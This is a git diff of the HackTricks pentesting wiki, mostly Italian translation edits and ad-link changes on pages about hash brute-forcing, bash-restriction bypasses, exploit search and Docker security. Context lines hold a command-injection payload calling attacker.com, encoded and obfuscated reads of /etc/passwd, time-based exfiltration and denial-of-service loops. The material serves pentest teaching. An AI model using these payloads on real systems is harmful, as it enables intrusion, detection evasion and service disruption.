-Brute force attacks can be an effective method for cracking Windows hashes, especially if the passwords are weak. It is important to use strong, complex passwords to prevent successful brute force attacks.
+2. Use a brute force tool like John the Ripper or Hashcat to crack the password hash.
+3. Configure the tool with the appropriate settings, such as character set, password length, and any other relevant parameters.
+4. Start the brute force attack and wait for the tool to find the correct password.
+5. Once the password is cracked, it can be used to gain unauthorized access to the target system.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
-## Brute Forcing
+## Brute-Force
### Introduction
-Brute forcing is a common technique used to crack hashes. It involves trying all possible combinations of characters until the correct one is found. This method is often used when other techniques, such as dictionary attacks, fail to crack the hash.
+Brute-force attacks are a common technique used to crack hashes. This method involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are often successful in cracking common application hashes.
-### Tools
+### Steps to Perform a Brute-Force Attack
-There are several tools available for brute forcing hashes, including John the Ripper, Hashcat, and Hydra. These tools allow you to automate the process of trying different combinations of characters to crack the hash.
+1. **Gather Information**: Collect as much information as possible about the hash you are trying to crack, such as the hash type and any known details about the password.
-### Methodology
+2. **Select a Tool**: Choose a reliable tool for performing the brute-force attack. There are many tools available, such as John the Ripper, Hashcat, and Hydra.
-To brute force a hash, you first need to determine the hashing algorithm used to create the hash. Once you know the algorithm, you can use a brute force tool to try different combinations of characters until you find the one that matches the hash.
+3. **Set Up the Tool**: Configure the tool with the necessary parameters, such as the hash type, character set to use, and any additional options.
-### Resources
+4. **Start the Attack**: Initiate the brute-force attack and let the tool run through all possible combinations until it finds the correct password.
-- [John the Ripper](https://www.openwall.com/john/)
-- [Hashcat](https://hashcat.net/)
-- [Hydra](https://github.com/vanhauser-thc/thc-hydra)
+5. **Optimize**: Adjust the attack parameters as needed to optimize the process and increase the chances of success.
+
+6. **Monitor Progress**: Keep an eye on the progress of the attack to see how close you are to cracking the hash.
+
+7. **Crack the Hash**: Once the correct password is found, use it to crack the hash and gain access to the target system or application.
+
+By following these steps, you can effectively perform a brute-force attack to crack common application hashes.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
@@ -893,7 +860,7 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'Accesso Oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md
index 1933ae288..876f47db1 100644
--- a/generic-methodologies-and-resources/python/README.md
+++ b/generic-methodologies-and-resources/python/README.md
@@ -6,26 +6,26 @@
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli **strumenti della comunità più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**Pagine interessanti da controllare:**
* [**Trucchi di hacking di Pyscript**](pyscript.md)
-* [**Deserializzazioni Python**](../../pentesting-web/deserialization/#python)
+* [**Deserializzazioni di Python**](../../pentesting-web/deserialization/#python)
* [**Trucchi per aggirare i sandbox di Python**](bypass-python-sandboxes/)
* [**Sintassi di base delle richieste web in Python**](web-requests.md)
* [**Sintassi di base di Python e librerie**](basic-python.md)
@@ -33,10 +33,10 @@ Ottieni l'accesso oggi:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli **strumenti della comunità più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
@@ -44,10 +44,10 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md
index 174eeaf9d..60d36034c 100644
--- a/generic-methodologies-and-resources/search-exploits.md
+++ b/generic-methodologies-and-resources/search-exploits.md
@@ -2,7 +2,7 @@
-Impara l'hacking AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
+Impara l'hacking su AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
@@ -17,10 +17,10 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### Browser
@@ -54,7 +54,7 @@ Se non viene trovato nulla, prova a cercare la tecnologia utilizzata su [https:/
### Vulners
-Puoi anche cercare nel database di Vulners: [https://vulners.com/](https://vulners.com)
+Puoi anche cercare nel database di vulners: [https://vulners.com/](https://vulners.com)
### Sploitus
@@ -63,21 +63,21 @@ Questo cerca exploit in altri database: [https://sploitus.com/](https://sploitus
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
-Impara l'hacking su AWS da zero a eroe conhtARTE (HackTricks AWS Red Team Expert)!
+Impara l'hacking su AWS da zero a esperto conhtARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/linux-hardening/bypass-bash-restrictions/README.md b/linux-hardening/bypass-bash-restrictions/README.md
index b8c7ac505..04bcd13ee 100644
--- a/linux-hardening/bypass-bash-restrictions/README.md
+++ b/linux-hardening/bypass-bash-restrictions/README.md
@@ -2,25 +2,25 @@
-Impara l'hacking di AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
+Impara l'hacking AWS da zero a esperto conhtARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
## Elusioni delle Limitazioni Comuni
@@ -150,7 +150,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
# Decimal IPs
127.0.0.1 == 2130706433
```
-### Esfiltrazione di dati basata sul tempo
+### Esfiltrazione dei dati basata sul tempo
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
@@ -229,6 +229,8 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1%0a`curl http://attacker.com`
```
### Bashfuscator
+
+Il **Bashfuscator** è uno strumento che consente di rendere illeggibile uno script Bash, complicandone la comprensione e la rilevazione da parte di strumenti di sicurezza.
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
@@ -339,10 +341,10 @@ Se ti trovi all'interno di un filesystem con le **protezioni di sola lettura e n
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
@@ -350,7 +352,7 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md
index fdf173939..d40315104 100644
--- a/linux-hardening/privilege-escalation/docker-security/README.md
+++ b/linux-hardening/privilege-escalation/docker-security/README.md
@@ -6,25 +6,25 @@
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per creare e **automatizzare flussi di lavoro** con gli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Sicurezza di Base del Motore Docker**
-Il **motore Docker** utilizza i **Namespaces** e **Cgroups** del kernel Linux per isolare i container, offrendo uno strato di sicurezza di base. Una protezione aggiuntiva è fornita tramite **Capabilities dropping**, **Seccomp**, e **SELinux/AppArmor**, migliorando l'isolamento del container. Un **plugin di autenticazione** può limitare ulteriormente le azioni dell'utente.
+Il **motore Docker** utilizza i **Namespaces** e **Cgroups** del kernel Linux per isolare i container, offrendo uno strato di sicurezza di base. Una protezione aggiuntiva è fornita tramite il **dropping delle Capabilities**, **Seccomp**, e **SELinux/AppArmor**, migliorando l'isolamento del container. Un **plugin di autenticazione** può limitare ulteriormente le azioni dell'utente.
![Sicurezza di Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@@ -37,7 +37,7 @@ Il motore Docker, per impostazione predefinita, è in ascolto sul socket Unix a
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
-Tuttavia, esporre il demone Docker su HTTP non è consigliato a causa di preoccupazioni per la sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione:
+Tuttavia, esporre il demone Docker su HTTP non è consigliato a causa di preoccupazioni per la sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la sicurezza della connessione:
1. Il client verifica l'identità del server.
2. Sia il client che il server si autenticano reciprocamente.
@@ -54,7 +54,7 @@ Le immagini dei container possono essere memorizzate in repository privati o pub
### Scansione delle immagini
-I container possono presentare **vulnerabilità di sicurezza** sia a causa dell'immagine di base sia a causa del software installato sopra l'immagine di base. Docker sta lavorando a un progetto chiamato **Nautilus** che esegue la scansione di sicurezza dei container e elenca le vulnerabilità. Nautilus funziona confrontando ciascuno strato dell'immagine del container con il repository delle vulnerabilità per identificare falle di sicurezza.
+I container possono presentare **vulnerabilità di sicurezza** a causa dell'immagine di base o del software installato sopra l'immagine di base. Docker sta lavorando a un progetto chiamato **Nautilus** che esegue la scansione di sicurezza dei container e elenca le vulnerabilità. Nautilus funziona confrontando ciascuno strato dell'immagine del container con il repository delle vulnerabilità per identificare falle di sicurezza.
Per ulteriori [**informazioni leggi questo**](https://docs.docker.com/engine/scan/).
@@ -90,11 +90,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Firma delle immagini Docker
-La firma delle immagini Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei container. Ecco una spiegazione sintetizzata:
+La firma delle immagini Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei contenitori. Ecco una spiegazione sintetica:
- **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, consulta [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
-- Per attivare la fiducia nei contenuti di Docker, imposta `export DOCKER_CONTENT_TRUST=1`. Questa funzionalità è disattivata per impostazione predefinita nelle versioni di Docker 1.10 e successive.
-- Con questa funzionalità abilitata, è possibile scaricare solo immagini firmate. Il caricamento iniziale dell'immagine richiede di impostare passphrase per le chiavi di root e di tag, con Docker che supporta anche Yubikey per una sicurezza potenziata. Ulteriori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
+- Per attivare la fiducia nei contenuti di Docker, imposta `export DOCKER_CONTENT_TRUST=1`. Questa funzionalità è disattivata per impostazione predefinita nelle versioni di Docker dalla 1.10 in poi.
+- Con questa funzionalità abilitata, è possibile scaricare solo immagini firmate. Il caricamento iniziale dell'immagine richiede di impostare passphrase per le chiavi radice e di tag, con Docker che supporta anche Yubikey per una sicurezza potenziata. Ulteriori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti abilitata porta a un errore "Nessun dato di fiducia per l'ultima versione".
- Per i caricamenti delle immagini successivi al primo, Docker richiede la passphrase della chiave del repository per firmare l'immagine.
@@ -109,10 +109,10 @@ Quando si passa da un host Docker all'altro, è necessario spostare le chiavi di
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Funzionalità di Sicurezza dei Container
@@ -122,13 +122,13 @@ Ottieni l'accesso oggi:
**Principali Funzionalità di Isolamento dei Processi**
-Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave:
+In ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave:
**Namespaces**
* **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespaces mantengono separati i processi di un container dall'host e dagli altri container.
* **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) viene utilizzato per creare nuovi namespaces, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca questo concetto in modo innato, Docker lo fa.
-* **Limitazione**: La creazione di nuovi namespaces non consente a un processo di tornare ai namespaces predefiniti dell'host. Per penetrare nei namespaces dell'host, di solito è necessario accedere alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso.
+* **Limitazione**: Creare nuovi namespaces non consente a un processo di tornare ai namespaces predefiniti dell'host. Per penetrare nei namespaces dell'host, di solito è necessario accedere alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso.
**Gruppi di Controllo (CGroups)**
@@ -150,14 +150,14 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
-È abilitato per impostazione predefinita in Docker. Aiuta a **limitare ulteriormente le chiamate di sistema** che il processo può effettuare.\
+È abilitato per impostazione predefinita in Docker. Aiuta a **limitare ulteriormente le syscalls** che il processo può chiamare.\
Il **profilo Seccomp predefinito di Docker** può essere trovato in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
Docker ha un modello che puoi attivare: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
-Questo permetterà di ridurre le capacità, le chiamate di sistema, l'accesso ai file e alle cartelle...
+Questo permetterà di ridurre le capacità, le syscalls, l'accesso ai file e alle cartelle...
@@ -202,7 +202,7 @@ Per ulteriori informazioni controlla:
Le capacità consentono un **controllo più preciso delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un contenitore** indipendentemente dal tipo di utente.
-Quando viene eseguito un contenitore Docker, il **processo elimina le capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo tenta di garantire che il processo non sarà in grado di eseguire azioni sensibili e di sfuggire:
+Quando viene eseguito un contenitore Docker, il **processo elimina le capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo tenta di garantire che il processo non sarà in grado di eseguire azioni sensibili e di fuga:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@@ -218,7 +218,7 @@ Si tratta di una funzionalità di sicurezza che consente a Docker di **limitare
### AppArmor in Docker
-**AppArmor** è un potenziamento del kernel per confinare i **contenitori** a un **insieme limitato di risorse** con **profili per programma**:
+**AppArmor** è un potenziamento del kernel per confinare i **contenitori** a un **insieme limitato** di **risorse** con **profili per programma**:
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
@@ -227,10 +227,10 @@ Si tratta di una funzionalità di sicurezza che consente a Docker di **limitare
### SELinux in Docker
* **Sistema di etichettatura**: SELinux assegna un'etichetta univoca a ogni processo e oggetto del filesystem.
-* **Esecuzione delle policy**: Applica le policy di sicurezza che definiscono quali azioni può eseguire un'etichetta di processo su altre etichette all'interno del sistema.
+* **Esecuzione delle policy**: Applica le policy di sicurezza che definiscono quali azioni può compiere un'etichetta di processo su altre etichette all'interno del sistema.
* **Etichette dei processi del contenitore**: Quando i motori dei contenitori avviano i processi del contenitore, di solito vengono assegnate loro un'etichetta SELinux confinata, comunemente `container_t`.
* **Etichettatura dei file all'interno dei contenitori**: I file all'interno del contenitore di solito sono etichettati come `container_file_t`.
-* **Regole di policy**: La policy SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire (leggere, scrivere, eseguire) solo con i file etichettati come `container_file_t`.
+* **Regole di policy**: La policy SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire solo (leggere, scrivere, eseguire) con i file etichettati come `container_file_t`.
Questo meccanismo garantisce che anche se un processo all'interno di un contenitore viene compromesso, è confinato nell'interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente i danni potenziali da tali compromissioni.
@@ -245,7 +245,7 @@ In Docker, un plugin di autorizzazione svolge un ruolo cruciale nella sicurezza
* **Contesto di autenticazione**: Questo include informazioni dettagliate sull'utente, come chi sono e come si sono autenticati.
* **Contesto del comando**: Questo comprende tutti i dati pertinenti relativi alla richiesta in corso.
-Questi contesti contribuiscono a garantire che solo le richieste legittime da utenti autenticati vengano elaborate, migliorando la sicurezza delle operazioni di Docker.
+Questi contesti aiutano a garantire che solo le richieste legittime da utenti autenticati vengano elaborate, migliorando la sicurezza delle operazioni di Docker.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@@ -263,7 +263,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
-* **Denial of Service della larghezza di banda**
+* Denial of Service della larghezza di banda
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done
```
@@ -281,9 +281,9 @@ Nella seguente pagina puoi apprendere **cosa implica il flag `--privileged`**:
#### no-new-privileges
